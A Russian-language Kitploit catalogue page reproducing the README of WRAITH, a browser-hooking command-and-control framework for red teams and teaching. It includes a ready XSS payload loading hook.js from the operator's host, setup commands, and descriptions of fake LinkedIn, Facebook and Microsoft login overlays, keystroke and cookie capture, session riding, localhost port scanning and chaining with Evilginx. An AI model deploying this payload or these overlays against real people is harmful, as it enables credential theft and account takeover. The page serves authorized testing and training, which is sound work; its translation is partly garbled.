Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
wraith — Фреймворк для перехвата браузеров, предназначенный для авторизованных red-команд и преподавателей. Перехватывает браузеры через XSS, обеспечивает интерактивное управление после эксплуатации, сбор трофеев при blind-XSS, оверлеи для социальной инженерии и учебную лабораторию. | Kitploit
Инструменты/GitHubGitHub/arcanum-sec/wraith
ЭксплуатацияФишингВеб-безопасностьТестирование на ПроникновениеКомандование и УправлениеСоциальная инженерияОбучение и ОбразованиеRed TeamingЛаборатории и Практика
GitHubarcanum-sec/wraith

wraith

Фреймворк для перехвата браузеров, предназначенный для авторизованных red-команд и преподавателей. Перехватывает браузеры через XSS, обеспечивает интерактивное управление после эксплуатации, сбор трофеев при blind-XSS, оверлеи для социальной инженерии и учебную лабораторию.

1401261 месяц назадПроверено Kitploit
РепозиторийСайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

WRAITH — фреймворк для перехвата браузеров

Современный автономный фреймворк для перехвата браузеров для red-команд, исследователей безопасности и преподавателей — чистый преемник BeEF и инструментов для blind-XSS callback'ов, которыми мы пользуемся.

ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ, ИССЛЕДОВАНИЙ И ОБУЧЕНИЯ. WRAITH — это инструмент наступательной безопасности для демонстрации и тестирования фишинга / man-in-the-browser / blind-XSS техник. Используйте его только против систем и людей, на тестирование которых у вас есть явное разрешение. Вы несёте ответственность за то, как вы его используете.

Консоль оператора WRAITH


Зачем мы это создали

В ходе нашей работы в Arcanum мы постоянно обращались к двум разным типам инструментов и хотели, чтобы они были одним целым.

С одной стороны был BeEF — Browser Exploitation Framework — для классического рабочего процесса перехватить браузер, затем работать изнутри его сессии: кейлоггер для фейкового логина, разведка локальной сети, отправка модуля живому受害者. Это инструмент, который мы использовали, чтобы сделать man-in-the-browser реальным для людей. Но он устарел, большие его части ненадёжны в современных браузерах, а оверлеи для социальной инженерии выглядят как логины десятилетней давности.

С другой стороны были наши любимые blind-XSS callback-фреймворки (XSS Hunter, ezXSS): вставьте payload в поле, и в тот момент, когда он сработает где-то, чего вы не видите, он отправит домой добычу — origin, cookies, DOM, скриншот.

Что нам всё больше было нужно — особенно когда всё больше наших целей становились , где непроверенный текст проходит через агентов, выводы инструментов, очереди проверки администраторами и консоли поддержки, и — так это единый фреймворк, который делал бы : интерактивное, постоянное пост-эксплуатационное управление хуком BeEF blind-XSS callback-добычу по принципу "выстрелил и забыл", в одном payload, который надёжен в современных браузерах и выглядит как сегодняшние реальные экраны входа.

экосистемами AI-приложений
выполняет JavaScript в местах, за которыми никто не наблюдает
и то, и другое
и

Поэтому мы создали WRAITH.

Важно: это работа в процессе

Мы выпускаем WRAITH рано и намеренно. Мы предпочитаем передать его в руки людей, которые действительно будут его использовать — и услышать, что ломается — чем держать его у себя, пока он не будет "готов".

Это означает: ожидайте шероховатостей и багов. Некоторые модули проверены в бою больше, чем другие, поведение браузеров постоянно меняется под нами (см. примечания о сетевом сканировании ниже), и API могут меняться между версиями. Если вы столкнулись с чем-то, пожалуйста, откройте issue — шаги воспроизведения, браузер + версия и ожидаемое поведение — на вес золота. PR приветствуются в соответствии с условиями участия проекта.


Быстрый старт (Docker)

Самый быстрый путь. Вам понадобятся Docker + Docker Compose.

root@kitploit:~
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh

setup.sh проведёт вас через всё:

  1. Определяет ваш публичный IP (или позволяет ввести домен / пользовательский хост), чтобы каждый hook и URL payload создавались с вашим адресом.
  2. Предлагает задать имя пользователя + пароль оператора для входа в консоль.
  3. Генерирует секрет для подписи сессий, записывает .env в .gitignore (chmod 600), и собирает + запускает контейнер.
  4. В конце выводит ваши живые URL и готовый XSS payload:
root@kitploit:~
  Консоль оператора : http://YOUR_IP:8090/operator/
  Страница входа    : http://YOUR_IP:8090/login   (пользователь "operator")
  Демо-страница жертвы : http://YOUR_IP:8090/demo/
  Hook payload      : http://YOUR_IP:8090/hook.js

  Готовый XSS payload:
    "><script src="http://YOUR_IP:8090/hook.js"></script>

Управляйте им стандартными командами compose:

root@kitploit:~
docker compose logs -f      # наблюдать за ним
docker compose down         # остановить (сохраняет ./data)
./setup.sh                  # перенастроить (сменить пароль, изменить адрес, …)

Захваченные сессии сохраняются в ./data/ на хосте — никогда не встраиваются в образ, никогда не коммитятся (.env и data/ в .gitignore).

Консоль оператора защищена входом всякий раз, когда установлен пароль оператора, с входом по имени пользователя + паролю:

Вход оператора

Запуск локально без Docker (разработка)

root@kitploit:~
npm install
npm start

Затем откройте консоль оператора на http://127.0.0.1:3000/operator/ и демо-страницу жертвы на http://127.0.0.1:3000/demo/ (во втором браузере/профиле). На localhost вход по умолчанию отключён для удобства — сервер отказывается привязываться к публичному интерфейсу без пароля оператора, так что вы не сможете случайно открыть незащищённую панель.


Возможности

Hook + консоль оператора

/hook.js — это небольшой payload. Вставьте его на любую страницу, которой вы управляете (<script src="/hook.js"></script>), или доставьте его через XSS в вашей цели. Браузер, который его загружает, открывает WebSocket обратно к оператору, идентифицирует себя (браузер, ОС, IP, страница, UA), автоматически переподключается и переживает навигацию. Каждый перехваченный браузер появляется в консоли в реальном времени, где вы выбираете его и управляете им — полная панель управления — это главный скриншот в начале этого README: список перехваченных браузеров, детали цели, элементы управления развёртыванием, живая лента активности и захваченные учётные данные.

Оверлеи социальной инженерии

Современные оверлеи фейкового входа, отображаемые в изолированном shadow DOM, чтобы они выглядели попиксельно корректно на любой хост-странице и размывали страницу позади них, как настоящее модальное окно повторной аутентификации. В комплекте LinkedIn, Facebook и Microsoft / Office 365 (аутентичная двухэтапная проверка email → пароль).

Оверлей повторной аутентификации LinkedIn поверх хост-страницы

Живые нажатия клавиш + захваченные учётные данные

Каждый символ, который цель вводит в оверлей, передаётся в консоль в реальном времени, а отправленные учётные данные попадают в Captured Credentials — всё сохраняется, так что ничего не теряется при обновлении или перезапуске.

Живые нажатия клавиш и захваченные учётные данные

Page Capture — добыча blind-XSS

В тот момент, когда браузер подключается, WRAITH автоматически запускает Page Capture: ровно то, что захватывает blind-XSS фреймворк, когда ваш payload срабатывает там, где вы не можете видеть — где он сработал (origin + URL + referrer), cookies жертвы (не-HttpOnly), полный DOM и скриншот. Сбои сообщаются честно, потому что они и есть урок: HttpOnly cookies никогда не появляются, а CSP или tainting canvas из-за кросс-оригинальных изображений может заблокировать скриншот.

Добыча Page Capture для blind-XSS

Page Mirror — выйти за пределы скриншота 🆕

Именно здесь WRAITH идёт дальше, чем инструменты, которые он заменяет. Когда вы получаете blind XSS или hook на странице, большинство фреймворков останавливаются на скриншоте и дампе сырого HTML — вы можете видеть, где сработал ваш payload, но не можете ничего с ним сделать.

Page Mirror от WRAITH превращает эту добычу в тупике в живое, навигируемое представление приложения. Откройте перехваченную страницу как реальное, отрисованное представление браузера внутри консоли оператора — затем кликайте по ссылкам и перемещайтесь по приложению визуально, точно так же, как это делала бы жертва.

Page Mirror — живое, кликабельное представление перехваченной страницы

Ключевой момент: каждая навигация выполняется через перехваченный браузер, поэтому она использует сессию жертвы и доверие same-origin. Любая страница, конечная точка или функция, доступная сессии жертвы, доступна и вам — включая страницы, скрытые за аутентификационным session cookie, который вы никогда не видите (и, будучи HttpOnly, никогда не смогли бы украсть напрямую).

В примере ниже мы начинаем с очереди тикетов агента поддержки и кликаем прямо до внутреннего Credential Vault — страницы, которая открывается только внутри аутентифицированной сессии агента. Никакие учётные данные не выужены фишингом, никакой cookie не украден: мы просто проехали на сессии жертвы до неё.

Page Mirror, достигающий защищённого сессией хранилища через жертву

Кросс-оригинальные чтения по-прежнему не работают по замыслу (Same-Origin Policy действует) — досягаемость зеркала ровно равна досягаемости жертвы, не больше и не меньше. Эта граница сама по себе является частью урока.

Каталог blind-XSS payload'ов

Каталог в стиле XSS-Hunter с готовыми к запуску строками инъекций для любого контекста (HTML, обход атрибутов, закрытие тегов, обработчики событий, JS-контекст, javascript: URI, jQuery), каждый автоматически заполнен вашим hook URL и копируется в один клик.

Каталог blind-XSS payload'ов

Сканирование локальной / localhost сети

Использует перехваченный браузер как прокси для идентификации локальных сервисов жертвы. Это временной побочный канал, перестроенный для современных браузеров — надёжный вариант по умолчанию — это калиброванное сканирование 127.0.0.1 с использованием двух независимых примитивов (fetch- и WebSocket-тайминга, буквально метод check.js от eBay). Режимы LAN включены, но честно помечены, потому что Chrome 142+ Local Network Access теперь ограничивает их (см. ниже).

Встроенная практическая лаборатория

Намеренно уязвимый "отдел поддержки" на /lab с stored-XSS приёмником, чтобы вы могли продемонстрировать всю цепочку от начала до конца, same-origin: отправьте вредоносный тикет → "агент" просматривает очередь, и payload срабатывает (момент blind-XSS) → Page Mirror перехваченного агента и достаньте защищённое сессией хранилище. Намеренно небезопасно по замыслу, с заложенными флагами.

Встроенная уязвимая практическая лаборатория


Обучение blind XSS на этой платформе

Hook срабатывает в момент загрузки, точно так же, как blind-XSS payload, вставленный в сохранённое поле, которое позже отображается в каком-то контексте администратора/поддержки/логов/агента, который вы не видите. Уроки всплывают прямо в данных:

  • Cookies читаются только через JS. HttpOnly cookies никогда не появляются, в этом и есть весь смысл HttpOnly — и именно поэтому подход Page Mirror ехать на сессии важнее, чем украсть cookie.
  • Скриншоты — best-effort. html2canvas может быть заблокирован CSP, а кросс-оригинальные изображения taint'ят canvas, так что его нельзя экспортировать. Эти сбои сообщаются честно, а не скрываются.
  • Origin + referrer говорят вам, где вы оказались, что для blind XSS и есть весь вопрос ("где выполнился мой payload?").

Для офлайн-лаборатории разместите html2canvas самостоятельно — см. public/vendor/README.md.

О сетевом сканировании (прочтите перед демонстрацией)

JavaScript не может читать кросс-оригинальные ответы, но он может запустить запрос и наблюдать, как он завершается ошибкой и насколько быстро, что раскрывает состояние порта. Модуль был перестроен вокруг того, что работает в современных браузерах (2025–2026), потому что старый LAN-скан эпохи BeEF теперь мёртв.

Современная реальность: Chrome 142+ (окт. 2025) выпустил Local Network Access (LNA), который ограничивает запросы к частным диапазонам (10.x / 172.16.x / 192.168.x) запросом разрешения. Слепой LAN-скан больше не достигает сети. Но loopback (127.0.0.1) по-прежнему доступен, и его сканирование — это реальная атака — eBay, Best Buy и другие были пойманы на сканировании localhost посетителей для идентификации локальных сервисов и инструментов удалённого доступа.

Итак, у модуля три режима:

  • Этот компьютер (localhost) — надёжный вариант по умолчанию. Калиброванное сканирование 127.0.0.1, которое проверяет каждый порт с помощью fetch-тайминга и WebSocket-тайминга, сначала изучает базовый уровень RST этой машины, затем помечает всё, что отвечает, зависает или работает медленнее, как OPEN, определяет вероятный сервис и показывает, согласились ли fetch, ws или оба. Работает в Chrome и Firefox сегодня.
  • LAN-хост — сканирование одного частного IP. Работает только если браузер это пропускает; Chrome 142+ обычно блокирует это (модуль это обнаруживает и сообщает).
  • Обнаружение LAN-хостов — сканирование подсети. Сейчас в основном заблокировано LNA; оставлено, чтобы показать блокировку как урок.

Как это соотносится с BeEF (для лекции)

BeEFWRAITH
hook.js + XHR pollingpublic/hook.js + WebSocket (живой, надёжный)
Ruby-сервер + RESTful APIserver.js (Node + ws)
Панель онлайн/офлайн браузеровКонсоль оператора "Hooked Browsers"
Модуль Pretty Theftоверлеи modules/*.js (современные LinkedIn/Facebook/Microsoft)
Обнаружение сети / сканер портовmodules/portscan.js (калиброванный, для современных браузеров)
Результаты командЖивые нажатия клавиш + Captured Credentials + Scan Results
(нет аналога)Page Capture (добыча blind-XSS) + Page Mirror (навигация по приложению)

"Чем это отличается от blind XSS, Evilginx или EvilGoPhish?"

Эти инструменты находятся на разных стадиях атаки и злоупотребляют разными контекстами доверия. Они дополняют друг друга и выстраиваются в цепочку.

WRAITH / BeEFBlind-XSS фреймворки (XSS Hunter, ezXSS)AiTM-прокси (Evilginx, EvilGoPhish, Modlishka)
Что этоMan-in-the-browser пост-эксплуатационный C2 (+ добыча blind-XSS)XSS обнаружение + доказательство с одноразовой разведкойAdversary-in-the-middle обратный прокси
Предварительное условиеУ вас уже есть JS, выполняющийся на страницеТо же: ваш payload выполняется там, где вы не видитеЖертва кликает по ссылке и входит на вашем поддельном домене
Какой origin используетсяРеальная сессия / реальный origin жертвыOrigin уязвимого приложенияОтдельный домен атакующего, проксирующий реальный сайт
Что вы захватываетеУчётные данные + нажатия клавиш + разведка + добыча blind-XSS + навигация по приложению через Page Mirror"Сработало, и вот": DOM, cookies, скриншот, originРеальные учётные данные и post-MFA session token
Обходит MFA?Нет — вы выудили статическое учётное данноеТолько если едет на живой аутентифицированной сессии на страницеДа — кража post-auth session cookie и есть суть

Честное различие для обучения: наш оверлейный фишинг собирает то, что пользователь вводит — он не захватывает реальную сессию и не обходит MFA. Именно поэтому это отличный контраст и почему индустрия перешла на устойчивую к фишингу, привязанную к origin аутентификацию (FIDO2 / WebAuthn / passkeys). Реалистичная цепочка атаки использует все три: blind XSS находит и доставляет выполнение кода, hook WRAITH даёт интерактивное управление внутри сессии (и через Page Mirror напрямую достигает функциональности приложения), а редирект может направить жертву в поток Evilginx для получения реальной сессии, прошедшей MFA.

Конфигурация

Всё управляется через env; одна и та же сборка работает где угодно, потому что hook.js выводит свой call-back URL из того места, где он был обслужен. setup.sh записывает это в .env.

Env varПо умолчаниюНазначение
WRAITH_HOST127.0.0.1интерфейс привязки (0.0.0.0 для открытия; принудительно в Docker)
WRAITH_PORT3000HTTP + WebSocket порт (setup.sh по умолчанию 8090)
WRAITH_PUBLIC_URL(выводится)ваш IP/домен, используется для вывода корректных hook URL
WRAITH_OP_USER(пусто)имя пользователя оператора для входа (необязательно; setup.sh задаёт)
WRAITH_OP_PASSWORD(пусто)пароль оператора для входа; обязателен для публичной привязки
WRAITH_SECRET(случайный/при загрузке)подписывает session cookies; задайте для сохранения входов между перезапусками
WRAITH_SESSION_HOURS12время жизни сессии оператора
WRAITH_AUTOCAPTURE1автоматический запуск Page Capture при hook (0 = вручную, в стиле BeEF)

Подписанный HttpOnly session cookie покрывает и панель, и живой WebSocket. Hook payload, демо-страница и канал /ws/hook остаются публичными, чтобы жертвы могли до них добраться. В качестве предохранителя сервер отказывается привязываться к публичному интерфейсу, если пароль не задан.

Для развёртывания на bare-metal / systemd вместо Docker см. deploy/DEPLOY.md.

Файлы

root@kitploit:~
server.js            C2-сервер (HTTP + WS, две роли по пути)
config.js            конфигурация через env
store.js             постоянное хранилище сессий/добычи (data/sessions.json)
lab.js               намеренно уязвимая практическая лаборатория (/lab)
public/hook.js       payload
public/demo/         безобидная посадочная страница "жертвы"
public/operator/     консоль оператора (GUI + каталог payload'ов)
modules/             linkedin.js facebook.js microsoft.js portscan.js capture.js + реестр
public/vendor/       опциональные самостоятельно размещённые библиотеки (html2canvas для офлайн-скриншотов)
setup.sh             интерактивный установщик Docker
Dockerfile           / docker-compose.yml
deploy/              альтернатива на bare-metal systemd
docs/screenshots/    изображения, используемые в этом README

Лицензия и атрибуция

WRAITH — © 2026 Arcanum Information Security, выпущен под Apache License 2.0.

Вы можете свободно использовать, изменять и распространять его — включая в вашем собственном обучении — но вы должны сохранять атрибуцию: сохраняйте файлы LICENSE и NOTICE и уведомление об авторских правах Arcanum во всём, что вы распространяете или форкаете, и указывайте внесённые вами изменения (Apache-2.0 §4). См. NOTICE. Лицензия не предоставляет права на использование имени или знаков Arcanum помимо описания происхождения кода.

Создано с ❤️ командой Arcanum — https://arcanum-sec.com

Скачать инструмент